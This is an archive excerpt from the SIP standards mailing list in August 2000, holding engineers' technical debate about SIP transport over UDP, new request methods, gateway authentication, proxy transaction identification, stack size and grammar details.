------_=_NextPart_001_01C01164.89003D70-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 23:58:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA26818 for ; Mon, 28 Aug 2000 23:58:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C1FE34433A; Mon, 28 Aug 2000 22:58:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 15FE044336 for ; Mon, 28 Aug 2000 22:57:57 -0400 (EDT) Received: from dynamicsoft.com (1Cust236.tnt1.freehold.nj.da.uu.net [63.17.113.236]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA08981; Mon, 28 Aug 2000 23:58:33 -0400 (EDT) Message-ID: <39AB3439.ADA31520@dynamicsoft.com> Date: Mon, 28 Aug 2000 23:55:37 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Subramania Sivaram Cc: iesg@ietf.org, sip@lists.bell-labs.com Subject: Re: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard References: <53BA505BEC72D21194400000E216A244032088F4@wslexch.wipsys.soft.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit There were several reasons: 1. to improve the call setup times, which are an issue, 2. to enable highly scalable stateless proxies, which are used extensively and are not possible with TCP, 3. to support low end phones for which tcp implementations can be an issue 4. to support intermittently connected devices for which tcp connections are not ideal 5. to improve fault tolerance and provide the capability of hot standby's and failovers; this is related to (2), since this is possible with stateless proxies. In any case, the decision has long ago been made and widely implemented (far more than tcp, in fact). Thanks, Jonathan R. Subramania Sivaram wrote: > > This document looks good. However, being new to this mailing list, I have a > fundamental > question. Why was it chosen to support a call control protocol like SIP over > an unreliable > transport protocol like UDP. HTTP, on which SIP is based, works over a > reliable transport, > all call control protocols in the PSTN world, like SS7, Q.931 etc. work over > a reliable > transport. This draft and several parts of > SIP specification > seem to exist because of the need to make SIP work over an unreliable > transport protocol. > > Regards, > Sivaram. > > > -----Original Message----- > > From: The IESG [SMTP:iesg-secretary@ietf.org] > > Sent: Saturday, August 26, 2000 2:56 AM > > Cc: sip@lists.bell-labs.com > > Subject: [SIP] Last Call: Reliability of Provisional Responses in SIP > > to Proposed Standard > > > > > > The IESG has received a request from the Session Initiation Protocol > > Working Group to consider Reliability of Provisional Responses in SIP > > as a Proposed Standard. > > > > The IESG plans to make a decision in the next few weeks, and solicits > > final comments on this action. Please send any comments to the > > iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000. > > > > Files can be obtained via > > http://www.ietf.org/internet-drafts/draft-ietf-sip-100rel-02.txt > > > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 00:12:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27030 for ; Tue, 29 Aug 2000 00:12:59 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5EED64433D; Mon, 28 Aug 2000 23:12:47 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id A097C44336 for ; Mon, 28 Aug 2000 23:12:43 -0400 (EDT) Received: from dynamicsoft.com (1Cust236.tnt1.freehold.nj.da.uu.net [63.17.113.236]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA08998; Tue, 29 Aug 2000 00:14:27 -0400 (EDT) Message-ID: <39AB37F3.31DD0D6F@dynamicsoft.com> Date: Tue, 29 Aug 2000 00:11:31 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: farhan Cc: sip Subject: Re: [SIP] syntax .. a clarification References: <004f01c01125$c2c7a5a0$874436ca@bigboy> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit farhan wrote: > > rosenberg wrote - > > >Let me put it this way - do you argue we should ditch INVITE? Isn't that > >just a message to the other side with some content that describes a > >session? Are you proposing we deprecate INVITE and use MESSAGE for that > >too? > > we cannot trash the INVITE method because the INVITE is a three way > handshake (much like the TCP) that is essential for a complete, reliable > session intiation as opposed to MESSAGE which doesnt require any further > handshake from the other side. Nor can we trash BYE and CANCEL. They all > have different effects on the sip stack's state itself. While MESSAGE, > NOTIFY, SUBSCRIBE, etc. have essential the same effect. Well, that depends on what you wish to call "the stack". According to the IM and presence drafts, a very specific set of processing is defined for SUBSCRIBE and I promise you it is not the same as the processing of MESSAGE. Are these above the baseline rfc2543 processing definitions? Yes. But, that does not mean they should all be funneled in one method. Lets put it in software terms. Lets say I have an API to some library, and this library has callbacks. We have two events, foo and bar, which pass some data. You could define the API in two ways: public interface callback { public void foo(int data); public void bar(int data); } OR public interface callback { public void event(int data, boolean isFoo); } now, you need the SAME AMOUNT OF CODE either way to demuliplex; the question is: where is the right place for it? Should we combine logic with data, or keep them separate? Good programming style, IMHO, would argue for keeping them separate and defining functions that are explicit in what they do. This speaks to the first interface above, not the second, which quickly becomes a programming nightmare as the set of events increases. The parallel in SIP is obvious; method is a method in the programming sense of the word - it defines a very concrete operation to be performed on the server (not the stack); all the data in the message merely qualifies that operation, it does not define it. > > >Proxies are supposed to forward method independent. Ours does. Any proxy > >that doesn't is defective and you should send it back. > > A proxy has to be aware of the nature of the method. An INVITE will fork, an > ACK will not. A single NOTIFY to a proxy can be forwarded to multiple > SUBSCRIBErs, an MESSAGE is unicasted. Thus, each method needs its own > special processing (if the proxy is anything over a trivial implementation). You are incorrect. INVITE has a well-defined semantic, as do ACK and CANCEL. Everything else (in terms of proxy processing) is the same as OPTIONS. That includes BYE, SUBSCRIBE, NOTIFY, etc. > > maybe i haven't been able to articulate myself well enough, what i am saying > it that we should try building over and outside the sip stack instead of > building it within. We should build well defined but general purpose operations into SIP (like REFER) which can be used to build many services. No disagreement there. But that is NOT the same thing as simply reusing a method instead of defining a new, when the semantics are not the same. It is hard to write code for SIP if the basic processing of a method depends on umpteen different headers and bodies. > > i am essentially asking for a freeze on the number of request methods. this > is important to keep the stack size down and managable. the example of using > MESSAGE to querying for presence wasn't correct. Let me give a better > example: > > "A service on the net wherein you can make a sip call, enter your PIN and > listen to any updates on your stock portfolio on your computer." > > This can be accomplished using Authorisation schemes to login to the stock > quotes server (because the UAS will challenge the UAC), then the UAS sends a > MESSAGE to UAC asking for the PIN. On receiving the PIN, in another message, > the UAS starts streaming the stock market commentary to the UAC. Slightly better is that the MESSAGE contains an http url for a form for entering the PIN. Doing so is a perfectly good thing to do. > > What I am arguing is that the sipstack itself does not need to be aware of > the nature of service it is being used for. It is easy to build this service > such that it doesn't need a specialised UAC either. That is extremely > important. If you look at the issue from an end-user perspective, a single > universal client should be able to handle all types of realtime session > services through a simple common protocol. I can't imagine that being > anything other than SIP. I'm not disagreing with this. I'm disagreeing with assuming that by placing a completely new function within an existing method, that *shazam* - its for free! > > When we do speak of a general purpose user agent, then it should have a well > defined number of methods that can handle a large amount innovative services > developed over the SIP stack. If we insist that different users download a > whole lot of different versions of SIP UACs for different applications, it > will be like having a different web browser for every site. I agree here too. > By keeping the SIP stack small, I am not saying that we will put it on pin > heads! we will be able to spread it to more desktops faster (I can send you > a small sip client in email!) or make it downloadable on the web within > seconds. These are important goals for fast, viral spread of SIP. They also > need a small, compact and functionaly complete SIP stack that doesn't have > to be upgraded (I can't change my ipphones as often as I can change my > browsers). Why? I actually know of phones that can fetch a new image when one is available without any human interaction at all. I'm not arguing that as an excuse for a fat stack, mind you, but I don't see why upgrading an ip phone is different than a browser. Probably easier since the IP phone is way thinner than a browser. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 01:07:58 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA28161 for ; Tue, 29 Aug 2000 01:07:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 439BA44341; Tue, 29 Aug 2000 00:07:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from proxy2.ba.best.com (proxy2.ba.best.com [206.184.139.14]) by lists.bell-labs.com (Postfix) with ESMTP id 9F0A144336 for ; Tue, 29 Aug 2000 00:07:23 -0400 (EDT) Received: from amd.echeque.com (jamesd.vip.best.com [204.156.153.125]) by proxy2.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id WAA15378; Mon, 28 Aug 2000 22:06:23 -0700 (PDT) Message-Id: <4.3.1.2.20000828211236.02483578@shell11.ba.best.com> X-Sender: jamesd@shell11.ba.best.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Mon, 28 Aug 2000 21:32:30 -0700 To: Henning Schulzrinne , Michael Thomas From: "James A. Donald" Subject: Re: [SIP] Re: SIP gateways and authentication Cc: Jonathan Rosenberg , David Harris , "Sip-Implementors (E-mail)" , sip In-Reply-To: <39A6C0C3.7BEC4838@cs.columbia.edu> References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com -- At 02:53 PM 8/25/2000 -0400, Henning Schulzrinne wrote: > No, this is very different. In the certificate (X.509, S/MIME, PGP) > case, the UAC doesn't need to know anything about the receiver. It > simply sends a cert saying "CA X believes I'm Telephant Telecom. If you > believe CA X, you'll trust that I'm indeed Telephant." For basic and > digest, the UAC has to know > > - what user id's are valid at the UAS > - what secrets are associated with those userids. > > Generally, a gateway calling a random SIP URL (obtained via enum, say), would have no clue about any of these. It seems to me that the more general problem is that the existing certificate structure is designed to prove that Telephant Telecom is the real Telephant Telecom , rightful owner of various cheque accounts and credit cards, an entity capable of being sued. Ultimately, it is designed to facilitate shopping and contracts. It appears to me that the goal of encryption in SIP is not to enable shopping and contracts, but merely to prove that when you are communicating with Joe97@hotmail.com you are communicating with someone who knows the password to log on to the account Joe97@hotmail.com, and only that someone. If our system has to know that Joe97@hotmail.com is the real Telephant Telecom, in order to prevent someone from listening in to his sex chat, we have problems. If everyone in the system has to know that Joe97@hotmail.com is the real Telephant Telecom, we have really big problems. Sometimes Joe97 might want to prove he was the real Telephant Telecom for some reason, but most of the time the software merely wants to know he is the real Joe97, and does not want to deal with the burden of an additional mapping between SIP identities and authenticated true names. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 03:07:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10847 for ; Tue, 29 Aug 2000 03:07:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 11E4F44339; Tue, 29 Aug 2000 02:07:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id 8EED044336 for ; Tue, 29 Aug 2000 02:07:18 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7T77Ep05562 for ; Tue, 29 Aug 2000 09:07:15 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7T77EL23701 for ; Tue, 29 Aug 2000 09:07:14 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id JAA25674; Tue, 29 Aug 2000 09:07:12 +0200 (MET DST) Message-ID: <39AB6120.BF91EBC@uab.ericsson.se> Date: Tue, 29 Aug 2000 09:07:12 +0200 From: Loita Jahnsson Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: sip@lists.bell-labs.com References: <000501c00cf7$3c4da1f0$4e34c3c1@ubiquity.co.uk> <39A4B348.2EEF590F@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] transaction identification Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, Consider this theoretical fork tree example (I've tried to use some kind of generic URI notation for the nodes in the tree): u0@p0 | -------------------------------- | | u11@p11 u12@p12 | | ----------------- ----------------- | | | | u21@p21 u22@p22 u23@p23 u24@p24 | | | | --------- --------- --------- --------- | | | | | | | | u31@p31 u32@p32 u33@p33 u34@p34 u35@p35 u36@p36 u37@p37 u38@p38 This is just a limited example, and could be more generalized, but I think it will do for this discussion. Theoretically, a proxy X could occupy any number of combinations of nodes in this tree, from 0 to all. (For example it could be X == p0 == p21 == p23 == p34 when forwarding a request through the tree). For most of these combinations you would want to keep the transactions separated from eachother, being a stateful proxy. The spiral case which was previously discussed in this list is merely a subset of combinations in such a theoretical "forwarding tree". Implementing the proxy X, and given the way the SIP spec is written today, I don't know of a way to separate the transactions within proxy X. I would greatly appreciate if anybody in the SIP community, knowing of a solution to this that could be implemented today, could send a posting to this discussion. Otherwise it can be considered as a real problem for the whole community - it is simply impossible to implement a real stateful SIP server product today, existing in larger networks. In that case a suggestion is to make it possible to use the call leg + cseq + information extracted from/based on the requestURI to be able to identify the transactions within a proxy. However, the way Route is designed today, original request-URI information from Record-Route path is destroyed for some higher purpose that I haven't been able to understand. I would like the original request-URI information from Record-Route to be kept in the Route, because then I would be able to use request-URI information together with call leg & cseq to identify transactions. The simplicity of the proxy operation, when being able to identify transactions in this suggested manner, is rather appealing to me at least. Given this opportunity, other things in SIP could be simplified as well. For example the hash part of the branch values for the Via could probably be removed, saving considerably more bytes than the short form of SIP ;) ;) when the requests are forwarded a number of times. Of course there are a number of alternative solutions, a new header could be invented, or whatever. But if this is a problem, at least something needs to be done. I do realize that this is a theoretical discussion and the some of these combinations are highly unlikely to happen in a "real" network, but as SIP network structures start to build, one could easily predict that many "unlikely" cases will occur. If this will be recognized by others as a problem, I would like to emphasize the benefit of finding one rather simple solution that would solve the general problem, rather than to invent a number of "fixes" in the protocol to solve a number of "special cases" of the general problem. Best Regards, Loita Jahnsson SIP SW Designer _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 03:40:42 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA11090 for ; Tue, 29 Aug 2000 03:40:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2AD7A4433A; Tue, 29 Aug 2000 02:40:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 2825344336 for ; Tue, 29 Aug 2000 02:40:35 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id DAA10658; Tue, 29 Aug 2000 03:40:21 -0400 (EDT) Message-ID: <39AB6B08.37024CE7@cs.columbia.edu> Date: Tue, 29 Aug 2000 03:49:28 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Stan Moyer Cc: Jonathan Rosenberg , farhan , sip@lists.bell-labs.com Subject: Re: [SIP] value added services on SIP References: <003601c00f90$5f8c2060$cf15c5cb@bigboy> <4.3.1.2.20000828115055.00bc4cd0@mailee.research.telcordia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Also, I think it is less work to re-use an old method than to create a new > one. If you re-use an existing method you can use existing SIP Proxies and > UA stacks you only need to modify the application(s) to handle different > payload types. This is not exactly true. Any new method is completely transparent to proxies; proxies don't need to "support" MESSAGE, INFO or YOUR-PERSONAL-METHOD. Good UA libraries should allow sending new non-INVITE methods - after all, beyond the method name, they are all the same in terms of lower-level support such as reliability or associating requests and responses. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 03:53:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA11174 for ; Tue, 29 Aug 2000 03:53:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0167B44342; Tue, 29 Aug 2000 02:53:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id F035744340 for ; Tue, 29 Aug 2000 02:52:59 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id DAA11050; Tue, 29 Aug 2000 03:52:57 -0400 (EDT) Message-ID: <39AB6DFC.28E512E5@cs.columbia.edu> Date: Tue, 29 Aug 2000 04:02:04 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: farhan Cc: sip Subject: Re: [SIP] small sip stacks References: <003701c01163$546df260$951e36ca@bigboy> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit This is bogus. The small TCP stacks, SMTP and HTTP are *not* the same as the large ones. Small TCP stacks don't, for example, implement many of the extensions such as window scaling or selective acknowledgements and may make other short cuts. Same for HTTP, in terms of support for caching, range retrievals, authentication or content negotiation, among many other features contained in HTTP/1.1. Building a minimal SIP (UA) stack is certainly possible in less than 1000 lines, judging from the homework assignments I get back in one of my classes. farhan wrote: > > i am in total agreement with sean that we do need complete stacks. we need > reference implementations that do everything in the book. vovida's stack is > ofcourse a case in point. so is the excellent stack of dynamicsoft.com is > the 'taj mahal' of sip stacks - it is beautiful. > > i am also convinced that there is never going to be the one and only true > stack. different platforms, different architectures and needs will drive how > big ever a stack is going to be. sean correctly points out that from apache > server to a small server stuffed into a PIC chip, it is possible to > implement the http protocol anywhere. But it is illuminating to note that > even the smallest of tcp or http stacks are fully functional without any > tradeoffs of functionality. There are only tradeoffs of scalability and > performance. > > sean also said that - > >That being said, I do believe it is possible to build a compact SIP stack. > >It is just a question of what tradeoffs you are willing to make. > > the only tradeoff i am willing to make is in terms of performance, not > functionality. a good protocol will allow you to implement itself as simply > or as optimally as you like. I have seen completely functional tcp stacks > written in less than 2000 lines of code. students have written email UAs > with a few hundred lines of code. I am arguing that sip protocol should also > be the same. implement it in 1000 lines or in 1 million. It is the > implementor's call. > > my finaly argument for smaller stacks is not scientific in nature. it is > just that huge stacks are not "simply profound". even though they maybe > inefficient, it is always an excellent engineering decision to not > over-engineer a protocol and leave it 80% OK. > > if you take a darwinian perspective on the survival of the best protocols, > often enough, brilliantly designed protocols have often given way to simpler > and easier to work with protocols. SGML never took off the way HTML did. > Microsoft's DCOM failed where SOAP is succeeding. > > - farhan > > - farhan. > > let's be clear that there isn't 'a' stack but probably two stacks that we > are really looking at. the UA stack and the proxy stack. I am convinced that > the proxy stacks ought to be strong and big. I am convinced that the UA > stacks ought to be small and light. (compare sendmail with elm). > the tradeoffs > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 04:39:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA11510 for ; Tue, 29 Aug 2000 04:39:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DAFA144343; Tue, 29 Aug 2000 03:39:41 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id DC1B14433C for ; Tue, 29 Aug 2000 03:39:38 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id EAA12686; Tue, 29 Aug 2000 04:39:34 -0400 (EDT) Message-ID: <39AB78E8.61A99AFF@cs.columbia.edu> Date: Tue, 29 Aug 2000 04:48:40 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Scott Orton Cc: "sip (E-mail)" Subject: Re: [SIP] Inconsistency in table 2 and the URL comparison rules and contextmatching in the rfc2543bis-01 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I don't know what it would mean to have a password parameter in From, so it's probably better to qualify the comparison rule to indicate that parameters that are not there match. (Although I find this kind of obvious...) > Scott Orton wrote: > > I have come across a inconsistency in Table 2 regarding the password > parameter. Table 2 states that the password is not allowed in the From > header. But the comparison rules for the sip URL state in the third > bullet that the "user, password, host, port and any url-parameters of > the URI must match." > > Based on these it seems to me that the >From and To headers both need > to allow the same parameters or context matching will fail at the User > Agent. > > I would suggest that Table 2 be modified to optionally include > password in the From. > > Scott Orton > > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 05:45:47 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA11856 for ; Tue, 29 Aug 2000 05:45:47 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D72944433D; Tue, 29 Aug 2000 04:45:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id C383E44336 for ; Tue, 29 Aug 2000 04:44:59 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id KAA11486; Tue, 29 Aug 2000 10:42:58 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: Henning Schulzrinne Subject: Re: [SIP] white space and SIP Date: Tue, 29 Aug 2000 10:14:51 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain Cc: sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <39A1971C.EBE960FB@cs.columbia.edu> <20000827180810.A12741@dallas.net> In-Reply-To: <20000827180810.A12741@dallas.net> MIME-Version: 1.0 Message-Id: <00082910375901.06568@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit In an attempt at closure on this (or has it already been closed ?) as it is a little point and we could spend our time better on other stuff i suggest some simple text as follows: P. 119 (End of C.1): ----- The backslash character ("\") MAY be used as a single-character quoting mechanism only within quoted-string and comment constructs. NOTE the characters "\r" and "\n" cannot be escaped by this mechanism so as not to conflict with line folding and header separation. quoted-pair = "\" (0x00 - 0x09 | 0x0b | 0x0c | 0x0e - 0x7f) ----- This will (hopefully) spell it out for any new comers to this problem without them having to trall through other rfc's or for this thread in the mailing list archives. HTH gethin -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 06:12:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA12026 for ; Tue, 29 Aug 2000 06:12:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6F6A344350; Tue, 29 Aug 2000 05:11:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 2EBEF4433E for ; Tue, 29 Aug 2000 05:11:12 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id LAA19624; Tue, 29 Aug 2000 11:09:14 +0100 (BST) From: "Jo Hornsby" To: "Loita Jahnsson" , Subject: RE: [SIP] transaction identification Date: Tue, 29 Aug 2000 11:09:13 +0100 Message-ID: <002501c011a1$2e66cdb0$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39AB6120.BF91EBC@uab.ericsson.se> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Consider this theoretical fork tree example (I've tried to use > some kind of generic URI notation for the nodes in the > tree): > > > u0@p0 > | > -------------------------------- > | | > u11@p11 u12@p12 > | | > ----------------- ----------------- > | | | | > u21@p21 u22@p22 u23@p23 u24@p24 > | | | | > --------- --------- --------- --------- > | | | | | | | | > u31@p31 u32@p32 u33@p33 u34@p34 u35@p35 u36@p36 u37@p37 u38@p38 > > > > This is just a limited example, and could be more generalized, > but I think it will do for this discussion. > > 